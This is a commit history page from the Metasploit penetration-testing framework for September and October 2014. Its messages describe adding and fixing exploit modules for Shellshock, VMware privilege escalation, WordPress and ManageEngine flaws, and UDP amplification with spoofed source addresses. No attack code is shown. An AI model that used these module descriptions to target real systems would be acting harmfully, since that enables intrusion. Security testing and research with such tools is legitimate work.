Compare commits

...

1310 Commits

Author SHA1 Message Date
William Vu ee92648693 Land #3906, Zsh completion for Metasploit 2014-10-02 11:06:10 -05:00
HD Moore 0380c5e887 Add CVE-2014-6278 support, lands #3932 2014-10-01 18:25:41 -05:00
William Vu c1b0acf460 Add CVE-2014-6278 support to the exploit module
Same thing.
2014-10-01 17:58:25 -05:00
William Vu 5df614d39b Land #3928, release fixes 2014-10-01 17:21:08 -05:00
HD Moore 77bb2df215 Adds support for both CVEs, lands #3931 2014-10-01 17:06:59 -05:00
sinn3r 3ec6166193 Land #3927 - Shellshock PureFPTd extauth 2014-10-01 17:00:55 -05:00
William Vu 51bc5f52c1 Add CVE-2014-6278 support
Going with an OptEnum to simplify the code for now...
2014-10-01 16:40:55 -05:00
Spencer McIntyre 8cf718e891 Update pureftpd bash module rank and description 2014-10-01 17:19:31 -04:00
Tod Beardsley 4fbab43f27 Release fixes, all titles and descs 2014-10-01 14:26:09 -05:00
Spencer McIntyre cf6029b2cf Remove the less stable echo stager from the exploit 2014-10-01 15:15:07 -04:00
Spencer McIntyre 632edcbf89 Add CVE-2014-6271 exploit via Pure-FTPd ext-auth 2014-10-01 14:57:40 -04:00
William Vu 9bfd013e10 Land #3923, mv misc/pxexploit to local/pxeexploit
Also renamed typo'd pxexploit -> pxeexploit.
2014-09-30 17:48:06 -05:00
William Vu 5fc57f7ed5 Land #3924, rm dlink_upnp_exec_noauth_telnetd
Deprecated.
2014-09-30 17:46:07 -05:00
William Vu 039e544ffa Land #3925, rm indeces_enum
Deprecated.
2014-09-30 17:45:38 -05:00
sinn3r be1df68563 Remove auxiliary/scanner/elasticsearch/indeces_enum.rb
Time is up, so good bye.
2014-09-30 17:24:21 -05:00
sinn3r 9e67beb396 Remove modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb
Time is up, so good bye.
2014-09-30 17:21:55 -05:00
sinn3r b17396931f Fixes #3876 - Move pxeexploit to local directory 2014-09-30 17:16:13 -05:00
Tod Beardsley c1cb8bcfdd Land #3918, bugfix on self.rhost mssql_login 2014-09-30 13:36:42 -05:00
sinn3r 296a51f661 Land #3917 - Description & module title update 2014-09-30 12:37:38 -05:00
William Vu 5ea968f3ee Update description to prefer the exploit module 2014-09-30 11:34:28 -05:00
sinn3r 7163b8c55a Fixes #3915 - NoMethodError private method `rhost'
There's no self.rhost, but rhost is defined
2014-09-30 11:34:16 -05:00
William Vu 162e42080a Update title to reflect scanner status 2014-09-30 11:04:17 -05:00
sinn3r 10dc6ed2fe Land #3912 - Update check method and additional references 2014-09-30 10:18:56 -05:00
William Vu de65ab0519 Fix broken check in exploit module
See 71d6b37088.
2014-09-29 23:03:09 -05:00
William Vu 12d7073086 Use idiomatic Ruby for the marker 2014-09-29 22:32:07 -05:00
William Vu 71d6b37088 Fix bad header error from pure Bash CGI script 2014-09-29 22:25:42 -05:00
William Vu df44dfb01a Add OSVDB and EDB references to Shellshock modules 2014-09-29 21:39:07 -05:00
sinn3r b2d2101be2 Land #3913 - Change hardcoded table prefixes 2014-09-29 17:55:45 -05:00
sinn3r 8f3e03d4f2 Land #3903 - ManageEngine OpManager / Social IT Arbitrary File Upload 2014-09-29 17:53:43 -05:00
Christian Mehlmauer b266233e95 fix bug 2014-09-30 00:21:52 +02:00
Pedro Ribeiro 533b807bdc Add OSVDB id 2014-09-29 21:52:44 +01:00
sinn3r ffe5aafb2f Land #3905 - Update exploits/multi/http/apache_mod_cgi_bash_env_exec 2014-09-29 15:19:35 -05:00
sinn3r 21b2d9eb3f Land #3899 - WordPress custom-contact-forms Plugin SQL Upload 2014-09-29 14:40:28 -05:00
sinn3r 9e5826c4eb Land #3844 - Add the JSObfu mixin to Firefox exploits 2014-09-29 11:15:14 -05:00
sinn3r ababc3d8ff Land #3869 - HP Network Node Manager I PMD Buffer Overflow 2014-09-29 11:00:12 -05:00
Meatballs d5959d6bd6 Land #2585, Refactor Bypassuac with Runas Mixin 2014-09-28 09:24:22 +01:00
Meatballs e14dd9900b Land #3896, Change Max LOGLEVEL to 3 2014-09-28 09:18:29 +01:00
Meatballs 67c25c20ca Land #3357, Run Local Exploits in AutoRunScript 2014-09-28 09:12:26 +01:00
Meatballs 3fc57109e6 Dont rescue Exception 2014-09-28 09:12:03 +01:00
Spencer McIntyre 3181d4e080 Add zsh completion definitions for utilities 2014-09-27 20:12:02 -04:00
Spencer McIntyre fe12ed02de Support a user defined header in the exploit too 2014-09-27 18:58:53 -04:00
Pedro Ribeiro f20610a657 Added full disclosure URL 2014-09-27 21:34:57 +01:00
Pedro Ribeiro 030aaa4723 Add exploit for CVE-2014-6034 2014-09-27 19:33:49 +01:00
Pedro Ribeiro ce8452a17a Merge pull request #3 from rapid7/master
bla
2014-09-27 19:24:32 +01:00
HD Moore 64dbc396dd Add header specification to check module, lands #3902 2014-09-27 12:58:29 -05:00
William Vu 044eeb87a0 Add variable HTTP header
Also switch from OptEnum to OptString for flexibility.
2014-09-27 12:39:24 -05:00
Christian Mehlmauer c51c19ca88 bugfix 2014-09-27 14:56:34 +02:00
Christian Mehlmauer 9a424a81bc fixed bug 2014-09-27 13:46:55 +02:00
Christian Mehlmauer 1c30c35717 Added WordPress custom_contact_forms module 2014-09-27 13:42:49 +02:00
sinn3r c75a0185ec Land #3897 - Fix check for apache_mod_cgi_bash_env & apache_mod_cgi_bash_env_exec 2014-09-26 17:06:23 -05:00
jvazquez-r7 80d9af9b49 Fix spacing in description 2014-09-26 17:03:28 -05:00
jvazquez-r7 9e540637ba Add module for CVE-2014-5377 ManageEngine DeviceExpert User Credentials 2014-09-26 17:02:27 -05:00
jvazquez-r7 3259509a9c Use return 2014-09-26 16:04:15 -05:00
jvazquez-r7 0a3735fab4 Make it better 2014-09-26 16:01:10 -05:00
jvazquez-r7 3538b84693 Try to make a better check 2014-09-26 15:55:26 -05:00
sinn3r ae82ebc734 Change max LogLevel to 3
There is no such thing as a LogLevel 5.
2014-09-26 14:20:47 -05:00
jvazquez-r7 6e2d297e0c Credit the original vuln discoverer 2014-09-26 13:45:09 -05:00
jvazquez-r7 1fa488f791 Land #3893, @jlee-r7's exploit module for DHCP CVE-2014-2014-6271 2014-09-26 13:43:33 -05:00
jvazquez-r7 e1f00a83bc Fix Rex because domainname and domain_name were duplicated 2014-09-26 13:40:52 -05:00
jvazquez-r7 5044117a78 Refactor dhclient_bash_env to use the egypt's mixin mods 2014-09-26 13:34:44 -05:00
jvazquez-r7 a4bc17ef89 deregister options needed for exploitation 2014-09-26 10:15:46 -05:00
jvazquez-r7 54e6763990 Add injection to HOSTNAME and URL 2014-09-26 10:13:24 -05:00
jvazquez-r7 a31b4ecad9 Merge branch 'review_3893' into test_land_3893 2014-09-26 08:41:43 -05:00
James Lee 86f85a356d Add DHCP server module for CVE-2014-6271 2014-09-26 01:24:42 -05:00
sinn3r 38c8d92131 Land #3888 - exploit module version of CVE-2014-6271 2014-09-26 00:31:41 -05:00
HD Moore b878ad2b75 Add a module to exploit bash via DHCP, lands #3891
This module is just a starting point for folks to test their DHCP client implementations and we plan to significantly overhaul this once we get a bit of breathing room.
2014-09-25 23:38:40 -05:00
Ramon de C Valle 9c11d80968 Add dhclient_bash_env.rb (Bash exploit)
This module exploits a code injection in specially crafted environment
variables in Bash, specifically targeting dhclient network configuration
scripts through the HOSTNAME, DOMAINNAME, and URL DHCP options.
2014-09-26 01:37:00 -03:00
HD Moore 52ffddd639 Adds domain and url options to DHCP/PXE server, lands #3889
There are serious style and code quality issues with this class and normally I would push for a full refactor, but given the urgency of delivering DHCP functionality to support the bash issues, we will have to refactor the DHCP Server code another day.
2014-09-25 22:43:51 -05:00
HD Moore 6516abb3a0 Fix an ancient bug in the DHCP mixin, lands #3890 2014-09-25 22:39:51 -05:00
Ramon de C Valle bdac82bc7c Fix lib/msf/core/exploit/dhcp.rb 2014-09-25 22:18:26 -03:00
Ramon de C Valle 5dde73bb51 Add domain name and url options to DHCP server 2014-09-25 19:58:42 -03:00
jvazquez-r7 ad864cc94b Delete unnecessary code 2014-09-25 16:18:01 -05:00
Joe Vennix 2b02174999 Yank Android->jsobfu integration. Not really needed currently. 2014-09-25 16:00:37 -05:00
jvazquez-r7 9245bedf58 Make it more generic, add X86_64 target 2014-09-25 15:54:20 -05:00
Samuel Huckins be6552dae7 Clarifying VMware priv esc via bash module name 2014-09-25 14:34:09 -05:00
jvazquez-r7 d8c03d612e Avoid failures due to bad payload selection 2014-09-25 13:49:04 -05:00
jvazquez-r7 91e5dc38bd Use datastore timeout 2014-09-25 13:36:05 -05:00
jvazquez-r7 8a43d635c3 Add exploit module for CVE-2014-6271 2014-09-25 13:26:57 -05:00
jvazquez-r7 e0fc30c040 Land #3884, @wvu's check and reporting for apache_mod_cgi_bash_env 2014-09-25 09:52:17 -05:00
William Vu f66c854ad6 Fix description to be less lulzy 2014-09-25 07:09:08 -05:00
William Vu 9ed28408e1 Favor check_host for a scanner 2014-09-25 07:06:12 -05:00
William Vu 62b74aeaed Reimplement old check code I was testing before
I would like to credit @wchen-r7 for providing advice and feedback.

@jvazquez-r7, too! :)
2014-09-25 06:38:25 -05:00
Joe Vennix 979d046bbf Land #3885, @mubix's improvements to vmware root.
This prevents the need to kill any processes before getting root
privs, which is a good timesaver.
2014-09-25 01:38:57 -05:00
William Vu d9120cd586 Fix typo in description
Running on fumes here...
2014-09-25 01:22:08 -05:00
William Vu 790df96396 Fix missed var 2014-09-25 01:19:14 -05:00
Rob Fuller f13289ab65 remove debugging 2014-09-25 02:16:19 -04:00
William Vu e051cf020d Add missed mixin 2014-09-25 01:14:58 -05:00
William Vu 27b8580f8d Add protip to description
This gets you lots of shells.
2014-09-25 01:10:22 -05:00
Rob Fuller 8cb4ed4cb7 re-add quotes -oops 2014-09-25 02:09:12 -04:00
William Vu b1e9b3664e Improve false positive check 2014-09-25 01:01:11 -05:00
Rob Fuller 6fb587ef96 update to use vmware-vmx-stats 2014-09-25 01:55:04 -04:00
William Vu 8daf8d4339 Report vuln for apache_mod_cgi_bash_env
Now with fewer false positives! It's kinda like a check method.
2014-09-25 00:42:14 -05:00
jvazquez-r7 37753e656e Land #3882, @jvennix-r7's vmware/bash privilege escalation module 2014-09-25 00:42:12 -05:00
jvennix-r7 a9049f445b Merge pull request #15 from jvazquez-r7/test_3882
Fix processes check
2014-09-25 00:39:13 -05:00
jvazquez-r7 456d731aa3 Fix processes check 2014-09-25 00:24:39 -05:00
William Vu fd34bdb22f Add missed fix (formatting) 2014-09-24 23:12:29 -05:00
William Vu 5a59b7cd89 Fix formatting 2014-09-24 23:12:11 -05:00
William Vu d70c5b889a Add missed fix (add peer) 2014-09-24 22:53:33 -05:00
William Vu e6f0736797 Add peer 2014-09-24 22:48:51 -05:00
Tod Beardsley 47ff2fdf89 Land #3883, more generic HTTP method/CMD 2014-09-24 22:44:18 -05:00
William Vu 8b6519b5b4 Revert shortened reference
But it's so long. :(
2014-09-24 22:43:33 -05:00
William Vu ecb10ebe28 Add variable HTTP method and other stuff 2014-09-24 22:41:01 -05:00
Joe Vennix f6708b4d83 Check for running vmware processes first. 2014-09-24 19:11:38 -05:00
Tod Beardsley ff5398bf3f Land #3880, bash scanner module 2014-09-24 19:03:37 -05:00
William Vu a600a0655d Scannerify the module 2014-09-24 18:58:39 -05:00
William Vu abadf65d8d Clean up title and formatting 2014-09-24 18:42:43 -05:00
William Vu 2562964581 Revert to my original code of using CMD 2014-09-24 18:00:13 -05:00
Joe Vennix 99da950734 Adds osx vmware/bash priv escalation. 2014-09-24 17:44:14 -05:00
William Vu 6ae578f80f Add Stephane Chazelas as an author 2014-09-24 17:14:18 -05:00
William Vu b2555408a4 Rename module
I don't think we're gonna make a supermodule like we had hoped.
2014-09-24 16:55:10 -05:00
William Vu 31e9e97146 Replace unnecessary reference with a better one 2014-09-24 16:52:43 -05:00
William Vu fc04bf9d48 Update description
This is what I had when @todb-r7 beat me to the punch. >:P
2014-09-24 16:22:58 -05:00
wvu-r7 2b127ea2ee Merge pull request #6 from todb-r7/fixup-pr3880
Fix description
2014-09-24 16:19:00 -05:00
Tod Beardsley 2f788c2e0c Fix description 2014-09-24 16:13:05 -05:00
Joe Vennix b96a7ed1d0 Install a global object in firefox payloads, bump jsobfu. 2014-09-24 16:05:00 -05:00
William Vu ca63fe931d Add CVE-2014-6271 PoC 2014-09-24 16:02:59 -05:00
Joe Vennix 5d234c0e01 Pass #send in this so jsobfu is not confused. 2014-09-24 15:07:14 -05:00
jvazquez-r7 0247e4a521 Change RequiredCmd for reverse_bash_telnet_ssl cmd payload 2014-09-24 00:40:14 -05:00
jvazquez-r7 f2cfbebbfb Add module for ZDI-14-305 2014-09-24 00:22:16 -05:00
Brendan Coles 5f6e84580c Clean up and use Metasploit::Credential 2014-09-24 01:00:23 +00:00
sinn3r 11b9a8a6ae Land #3814 - Advantech WebAccess dvs.ocx GetColor BoF 2014-09-23 15:06:21 -05:00
jvazquez-r7 b021ff4399 Add noche tags 2014-09-23 13:11:06 -05:00
jvazquez-r7 5c6236e874 Fix rop chain to allow VirtualAlloc when end of stack is too close 2014-09-23 13:08:26 -05:00
sinn3r 35f788a1a4 Land #3848 - Add specs for Rex::Arch 2014-09-23 13:03:40 -05:00
sinn3r fe1842520c Land #3849 - Rex::ExtTime rspec 2014-09-23 13:00:17 -05:00
sinn3r 31ecbfdc4e Land #3756 - EMC AlphaStor Device Manager Opcode 0x75 Command Injection 2014-09-23 12:57:46 -05:00
jvazquez-r7 0dfc2d3f87 Add specs for Rex::ExtTime 2014-09-22 14:55:14 -05:00
Jon Hart 259a368577 Land #3841, @jabra-'s modifications to ssdp_amp to support spoofing 2014-09-22 12:28:46 -07:00
Jon Hart fc4c1907d3 Land #3839, @jabra-'s updates to dns_amp to support spoofing 2014-09-22 12:14:39 -07:00
jvazquez-r7 db587afac8 Add specs for Rex::Arch 2014-09-22 14:10:55 -05:00
Jon Hart 8f63075da4 Land #3837, @jabra-'s update to chargen scanner to support spoofing 2014-09-22 12:02:01 -07:00
Jon Hart 650b65250f Merge branch 'master' of github.com:rapid7/metasploit-framework into upstream-master 2014-09-22 11:51:10 -07:00
Jon Hart 4e9f1282de Land #3834, @jabra-'s updates to UDPscanner to support spoofing 2014-09-22 11:49:53 -07:00
Jon Hart e86b18cdd4 Add sanity check for NUM_REQUESTS 2014-09-22 11:48:39 -07:00
darkbushido 091be3f45a Merge branch 'pr/3845' into upstream 2014-09-22 13:01:00 -05:00
Luke Imhoff f61afe2598 Merge branch 'master' into bug/MSP-11368/boot-profiling
MSP-11368
2014-09-22 10:00:07 -05:00
William Vu ebacb26e51 Land #3838, msfvenom badchar fix 2014-09-22 03:08:57 -05:00
William Vu 8a0f86fb27 Land #3843, typo fix for download_file 2014-09-22 00:48:46 -05:00
Joe Vennix ec88957ff4 Whitespace tweaks. 2014-09-21 23:57:58 -05:00
Joe Vennix d9e6f2896f Add the JSObfu mixin to a lot of places. 2014-09-21 23:45:59 -05:00
Joe Vennix 829248f427 Land #3840, @wchen-r7's tweaks to os.js and module addition. 2014-09-21 22:38:27 -05:00
sinn3r 2a714a7c4d Fix a typo
Downloading and deleting are two very different things. Thanks Dan.
2014-09-21 18:35:26 -05:00
sinn3r 2e96026725 avoid saying 'should' 2014-09-21 00:56:13 -05:00
sinn3r e1cfc74c32 Move jsobfu to a mixin 2014-09-21 00:39:04 -05:00
sinn3r cd037466a6 upate doc 2014-09-20 23:40:47 -05:00
sinn3r 9191af6241 Update js_obfuscate 2014-09-20 23:38:35 -05:00
sinn3r a9420befa4 Default to 0 2014-09-20 21:39:20 -05:00
sinn3r 046045c608 Chagne option description 2014-09-20 21:38:57 -05:00
sinn3r fd5aee02d7 Update js_obfuscate 2014-09-20 21:36:17 -05:00
sinn3r cd70014446 Fix os detection rspec
no more window
2014-09-20 21:29:13 -05:00
Josh Abraham b7a0847114 SRC IP spoofing added to the SSDP amplification module 2014-09-20 21:37:01 -04:00
sinn3r 7bab825224 Last changes 2014-09-20 18:39:09 -05:00
sinn3r 2d828a2144 Update rspec 2014-09-20 18:09:22 -05:00
sinn3r 135bed254d Update BrowserExploitServer for JSObfu 2014-09-20 17:59:36 -05:00
Joe Vennix d9a713b415 Decode the badchars string correctly. 2014-09-20 17:48:03 -05:00
Josh Abraham bb018de3a1 chargen src IP spoofing 2014-09-20 16:08:52 -04:00
Josh Abraham cd8b1318e0 send data based on input not @probe 2014-09-20 15:18:58 -04:00
Josh Abraham 3fb00ece9e refactored the code based on PR feedback 2014-09-20 14:10:00 -04:00
sinn3r d52236fe05 Land #3835 - JSObfu to a gem 2014-09-20 01:38:45 -05:00
Joe Vennix 8e1b00ce95 Adds JSObfu.disabled for spec stubbing, fixes BES specs. 2014-09-19 20:42:05 -05:00
Joe Vennix df999db547 Add spec to ensure gem loads without error. 2014-09-19 19:49:01 -05:00
Joe Vennix 0f4be63903 Move JSObfu a gem then pull it into the Rex namespace. 2014-09-19 19:10:39 -05:00
jvazquez-r7 9acccfe9ba Fix description 2014-09-19 17:18:59 -05:00
jvazquez-r7 d826132f87 Delete CVE, add EDB 2014-09-19 17:16:03 -05:00
jvazquez-r7 7afbec9d6c Land #2890, @Ahmed-Elhady-Mohamed module for OSVDB 93034 2014-09-19 17:12:49 -05:00
jvazquez-r7 1fa5c8c00c Add check method 2014-09-19 17:11:16 -05:00
jvazquez-r7 ce0b00bb0b Change module location and filename 2014-09-19 16:59:35 -05:00
jvazquez-r7 0267e889e2 Use FileDropper 2014-09-19 16:58:21 -05:00
jvazquez-r7 6fd5027e05 Avoid UploadPath datastore option, parse from response 2014-09-19 16:55:28 -05:00
jvazquez-r7 2ce9bdf152 Use target_uri.path.to_s instead of uri 2014-09-19 16:43:40 -05:00
jvazquez-r7 eb55c7108b Fix indentantion again 2014-09-19 16:41:07 -05:00
jvazquez-r7 cbfb7e600d Use Rex::MIME::Message 2014-09-19 16:29:09 -05:00
jvazquez-r7 cffb28b5d3 Fix indentantion 2014-09-19 16:18:46 -05:00
Luke Imhoff 5884cbc196 Optimize skip logic in #update_all_module_details
MSP-11368

Use `Hash<String, Set<String>>` instead of `Array<(String, String)>` so
that `include?` call is faster because (1) it's only search through
reference names of the same module_type and (2) `Set#include?` is faster
than `Array#include?`.  This change is a 8.20% average reduction in boot
time compare to b863978028, for a overall
reduction of 40.95% over b5c3c87790.
See statistics at
https://docs.google.com/spreadsheets/d/1TnZIUFIR1S5nCnkeM-7XR3AVSbyCl39x2mItJKJCOqg/edit?usp=sharing
and data at
https://drive.google.com/folderview?id=0Bx1hRHfpRW92VEFvQ2FaN3RoWWs&usp=drive_web
2014-09-19 15:34:10 -05:00
jvazquez-r7 b16085baa6 Land #3244, @dmaloney-r7's fix for integer comparisions on metasm 2014-09-19 15:31:37 -05:00
jvazquez-r7 c00094ba6e Land #3345, @mvdevnull's auxiliary module for OSVDB 106815, Alienvault sqli 2014-09-19 15:01:21 -05:00
jvazquez-r7 62414e2214 Add Timeout to exploit sqli 2014-09-19 15:00:54 -05:00
jvazquez-r7 db6372ec8b Do minor module cleanup 2014-09-19 14:43:35 -05:00
Luke Imhoff 8b5a146067 Wrap Array#include? usage
MSP-11368

Wrap skipped.include? call to confirm it is the culprit for
Array#include? inside of with_connection in profile.
2014-09-19 14:38:12 -05:00
jvazquez-r7 4a9294e3bf Mark module as not executable 2014-09-19 14:36:44 -05:00
jvazquez-r7 405ac34a16 Fix author name 2014-09-19 13:56:13 -05:00
jvazquez-r7 79d5fb56d4 Land #3829, @jhart-r7's UDP emtpy probe scanner 2014-09-19 13:54:35 -05:00
Jon Hart 737f77d31a Cleaner output when PORTS is invalid 2014-09-19 11:12:14 -07:00
Jon Hart 3493987300 report_service when we find something this way 2014-09-19 10:45:06 -07:00
Luke Imhoff 9b92d0d6d4 Use Rex::Compat.open_file to open profiling report
MSP-11368

Use Rex::Compat.open_file instead of `system('open <pdf>')` so that
opening the pdf works on Linux in addition to OSX.
2014-09-19 11:13:28 -05:00
jvazquez-r7 80d36ec08a Land #3833, @darkbushido's cucumber fixes 2014-09-19 11:03:41 -05:00
Josh Abraham 43171141da update for ntp modules 2014-09-19 11:14:11 -04:00
Josh Abraham c216cf8c53 added spoofing capabilities to udp_scanner 2014-09-19 10:29:05 -04:00
Luke Imhoff b863978028 Remove fastlib
MSP-11368
MSP-11143

Remove fastlib as it slows down the code loading process.  From the
previous commit, the mean loading for
`METASPLOIT_FRAMEWORK_PROFILE=true msfconsole -q -x exit` was
27.9530±0.3485 seconds (N=10).  The mean after removal of fastlib
was 17.9820±0.6497 seconds (N=10).  This means an average 35.67%
reduction in boot time.
2014-09-18 15:24:21 -05:00
Jon Hart a54b23642e Relocate empty UDP scanner 2014-09-18 12:31:52 -07:00
Brendan Coles 6cad5d9aeb Add ManageEngine DeviceExpert User Credentials 2014-09-18 19:18:59 +00:00
Luke Imhoff 21b3d6bb4a Profiling support for msfconsole boot
Set METASPLOIT_FRAMEWORK_PROFILE=true in the environment.  Run
`./msfconsole -q -x exit`.  A pdf will be saved to
tmp/profiles/msfconsole/YYYYMMDDHHMMSS.pdf with the call graph with
numbers being in 100 samples per second.  The pdf is automatically
opened with `open`.
2014-09-18 14:09:38 -05:00
James Lee 1faa816a8a Land #3818, Metasploit::Concern loading 2014-09-18 13:06:41 -05:00
Luke Imhoff 39d302a120 Update metasploit_data_models
MSP-11359

Include fix for loading from metasploit_data_models/lib.
2014-09-18 12:35:26 -05:00
Luke Imhoff 8d38735f4a Update schema with detected_arch
MSP-11359
2014-09-18 12:35:09 -05:00
Luke Imhoff 44588cc014 Add detected_arch to expected hosts columns in spec
MSP-11359
2014-09-18 12:34:34 -05:00
Luke Imhoff 0f854ce5ed Update to released metasploit-model
MSP-11359
2014-09-18 11:33:41 -05:00
Luke Imhoff 03cc69d902 Update gems
MSP-11359
2014-09-18 11:33:22 -05:00
Luke Imhoff 21d6e4afb3 Move metasploit-concern to gemspec
MSP-11359

The dependency on `metasploit-concern` should not have been in the db
group as `Metasploit::Concern.run` is called for
`Msf::Exploit:Remote::HttpServer`, which works without the db group
installed.  This is a fix for a bug from #3781.
2014-09-18 09:33:57 -05:00
Tod Beardsley 5dad73a28f Explicitly require credential_collection
Otherwise, you run into a require ordering problem on some platforms.
This is not a great way to fix this -- but it's a fast way, and possibly
even a good way, since you're being explicit about what your module
requirements are.
2014-09-17 15:47:30 -05:00
Tod Beardsley b5c3c87790 Land #3812, discourage Meterpreter scripts 2014-09-17 15:32:15 -05:00
Tod Beardsley 4bbd107911 Land #3813, sponge left in patient 2014-09-17 15:28:54 -05:00
jvazquez-r7 64ac1e6b26 Rand padding 2014-09-17 08:09:09 -05:00
sinn3r 50fa5745bb Rm print_debug line
I forgot to remove this line while testing the module
2014-09-16 16:46:40 -05:00
sinn3r 5e076e0375 Text about not accepting changes to meterpreter scripts 2014-09-16 16:41:14 -05:00
jvazquez-r7 e593a4c898 Add comment about gadgets origin 2014-09-16 16:38:03 -05:00
sinn3r ffe0eca7fd Land #3609 - Fix gettelnet 2014-09-16 16:27:46 -05:00
James Lee 3e42fcbbab Land #3794, NDR encoding specs
MSP-11370 #land
2014-09-16 16:23:22 -05:00
sinn3r 07c14f5ee8 Land #3388 - Post mod to check Win32_QuickFixEngineering 2014-09-16 16:18:04 -05:00
sinn3r 36a3abe036 Add a reference 2014-09-16 16:17:22 -05:00
Joe Vennix a846d084ca Lands #3806, @dmaloney-r7's fixes to SMB LoginScanner. 2014-09-16 15:35:53 -05:00
David Maloney 5ff4a55cd2 smb connection error not setting result properly
if the initial connection from the SMB LoginScanner fails
it wouldn't set the target information on the result. this could cause
smb_login to throw a stack trace when it calls invalidate_login
2014-09-16 15:24:14 -05:00
jvazquez-r7 80f02c2a05 Make module ready to go 2014-09-16 15:18:11 -05:00
David Maloney e5aa5c4014 missing postgres rescues 2014-09-16 15:04:07 -05:00
sinn3r 169d04020d Land #3571 - Add Wordpress XML-RPC Login Scanner (with LoginScanner) 2014-09-16 14:51:24 -05:00
sinn3r 4ed1fa55f5 Don't need this header 2014-09-16 14:50:32 -05:00
darkbushido 835f224b3c tagging the module tests as WIP since proxies keep showing up in options 2014-09-16 14:35:57 -05:00
Samuel Huckins 70400803ee Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-09-16 14:21:10 -05:00
William Vu 35b8c2be4b Land #3800, release fixes 2014-09-16 14:05:23 -05:00
Samuel Huckins 4c3c8e5337 Land #3795, various LoginScanners shored up 2014-09-16 13:55:26 -05:00
sinn3r b028424152 Land #3752 - add "show missing" 2014-09-16 13:45:13 -05:00
David Maloney aeed66b694 missing mysql rescue 2014-09-16 13:41:03 -05:00
William Vu cf13597048 Land #3801, REMOTE_JS for Android UXSS
For BeEF integration, etc.
2014-09-16 13:38:40 -05:00
Joe Vennix 59dfa624c4 Add a REMOTE_JS datastore option for BeEf hooks etc. 2014-09-16 13:31:03 -05:00
David Maloney d708de07a3 return the lgoinscanner class name in an invalid exception
when a loginScanner throws an Invalid exception , the message
will now include the classname of the Scanner that threw it.
2014-09-16 13:24:08 -05:00
sinn3r 3e09283ce5 Land #3777 - Fix struts_code_exec_classloader on windows 2014-09-16 13:09:58 -05:00
sinn3r ceaf1d64d0 Land #3799 - Add CVE-2014-5519: phpwiki/ploticus RCE 2014-09-16 12:56:04 -05:00
sinn3r 158d4972d9 More references and pass msftidy 2014-09-16 12:54:27 -05:00
Tod Beardsley bd17c96a6e Dropped a hyphen in the title 2014-09-16 12:47:44 -05:00
Vincent Herbulot 7a7b6cb443 Some refactoring
Use EDB instead of URL for Exploit-DB.
Remove peer variable as peer comes from HttpClient.
2014-09-16 17:49:45 +02:00
David Maloney 6decd3cbd2 fix exceptions thrown in telnet loginscanner too 2014-09-16 10:09:59 -05:00
us3r777 4c615ecf94 Module for CVE-2014-5519, phpwiki/ploticus RCE 2014-09-16 00:09:41 +02:00
David Maloney bf8f7221c7 rescue exceptions in check_setup 2014-09-15 13:52:17 -05:00
jvazquez-r7 3f5fdaebb4 Add specs for Rex::Encoder::NDR 2014-09-15 13:49:18 -05:00
jvazquez-r7 7d4c4c3658 Land #3699, @dmaloney-r7's ipboard login refactor 2014-09-15 08:29:42 -05:00
jvazquez-r7 3a6066792d Work in rop chain... 2014-09-13 17:38:19 -05:00
dmaloney-r7 8452ac1d37 Merge pull request #14 from jvazquez-r7/review_3699
Add specs for #attempt_login
2014-09-13 11:56:18 -05:00
HD Moore 6bd3675f03 Land #3680, add specs for Rex::MIME 2014-09-13 00:34:39 -05:00
HD Moore 6a2a85d2c4 Land #3789, adds specs for Rex::Proto::Http::Packet::Header
orts
2014-09-13 00:21:43 -05:00
jvazquez-r7 9e21cc8ad4 Add specs for invalid IPBoard application 2014-09-12 16:14:10 -05:00
jvazquez-r7 917a7ffa1e Add specs for valid IPBoard application 2014-09-12 16:08:03 -05:00
jvazquez-r7 83bf220a10 Land #3730, @TomSellers's post module for Remote Desktop Connection Manager 2014-09-12 15:38:33 -05:00
jvazquez-r7 5da6a450f1 fix find condition 2014-09-12 15:21:50 -05:00
jvazquez-r7 1749fc73c2 Change module filename 2014-09-12 15:05:33 -05:00
Cucumber b80519dc16 Lands #3779, specs
MSP-11343

Merge specs that I missed during last merge.
2014-09-12 14:49:26 -05:00
James Lee f68628c487 Add minimal specs for rex/proto/http/packet/header 2014-09-12 14:30:27 -05:00
jvazquez-r7 95b6529579 Fix run method 2014-09-12 14:27:25 -05:00
jvazquez-r7 373861abb0 Land #3526, @jhart-r7's soap_xml scanner cleanup 2014-09-12 13:29:52 -05:00
jvazquez-r7 12f949781a Use double quote for xml strings 2014-09-12 13:18:48 -05:00
jvazquez-r7 8bf639faba Land #3785, @jvennix-r7's detection for firefox 29-32 2014-09-12 12:26:51 -05:00
sinn3r 12e3cb3c6a Land #3764 - Add specs for Rex::Encoder::NonAlpha 2014-09-12 12:09:55 -05:00
sinn3r 54c353a15e Land #3788 - Adds a spec to ensure HttpServer runs Concern hooks. 2014-09-12 12:05:55 -05:00
jvazquez-r7 e810acd4e9 Land #3748, @wchen-r7's HP System Management Homepage LoginScanner Upgrade 2014-09-12 11:13:14 -05:00
Joe Vennix 87aeac2b13 Fix syntax error in os.js, specs ftw. 2014-09-12 11:01:08 -05:00
Joe Vennix a617556f29 Add a helpful comment. 2014-09-12 10:55:08 -05:00
Joe Vennix 0194674542 Oops. Don't duplicate spec block. 2014-09-12 10:54:30 -05:00
Joe Vennix 46f256a6bd Adds a spec to ensure HttpServer runs Concern hooks. 2014-09-12 10:52:57 -05:00
jvazquez-r7 67c0ee654b Use Gem::Version 2014-09-12 10:35:12 -05:00
jvazquez-r7 25a09ea227 Fix valid requests specs 2014-09-12 10:30:17 -05:00
William Vu 2977e8e102 Add msfcli (M)issing 2014-09-12 10:25:13 -05:00
William Vu 425874315c Add show missing 2014-09-12 10:23:12 -05:00
jvazquez-r7 0d054d8354 Update with master changes 2014-09-12 09:52:32 -05:00
jvazquez-r7 183ba3422d Add specs for logins 2014-09-12 09:50:32 -05:00
jvazquez-r7 b8d31891f8 Clean YARD documentation 2014-09-12 09:32:32 -05:00
jvazquez-r7 e2ef927177 Add first version for ZDI-14-255 2014-09-12 08:57:54 -05:00
William Vu 69d0fad5a6 Land #3724, NetworkManager creds module 2014-09-12 06:52:39 -05:00
William Vu 18e99589a5 Fix word splitting problem 2014-09-12 06:51:57 -05:00
William Vu 60b29cbd5e Fix word splitting problem 2014-09-12 06:50:53 -05:00
William Vu 8a6a205e39 Land #3724, NetworkManager creds module 2014-09-12 05:48:35 -05:00
William Vu 131401f024 Remove unused method 2014-09-12 05:48:11 -05:00
cdoughty-r7 54bbb0d495 Merge pull request #3786 from bturner-r7/rake-without-cucumber
Fix rake when cucumber gem is not present
